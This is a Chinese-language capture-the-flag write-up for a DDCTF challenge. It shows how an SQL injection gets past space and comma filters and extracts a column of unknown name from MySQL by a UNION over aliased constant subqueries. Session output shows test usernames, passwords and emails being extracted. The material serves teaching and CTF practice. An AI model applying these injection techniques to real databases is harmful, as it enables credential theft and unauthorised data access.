關於Mysql如何巧妙的繞過未知字段名的實例代碼詳解

這篇文章主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料，文中給出了詳細的示例代碼供大家參考學習，對學習mysql具有一定的參考學習價值，需要的朋友們下面來一起看看吧。

前言

本文介紹的是DDCTF第五題，繞過未知欄位名稱的技巧，這裡拿本機來操作了下，想法很棒也很清晰，分享給大家，下面來看看詳細的介紹：

實現想法

題目過濾空格和逗號，空格使用%0a，%0b，%0c，%0d，%a0，或直接使用括號都可以繞過，逗號使用join繞過；

存放flag的欄位名稱未知，information_schema.columns也將表名的hex過濾了，即獲取不到字段名；這時可以利用聯合查詢，過程如下：

思想就是獲取flag ，讓其在已知欄位名稱下出現；

範例程式碼：

#

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

##總結

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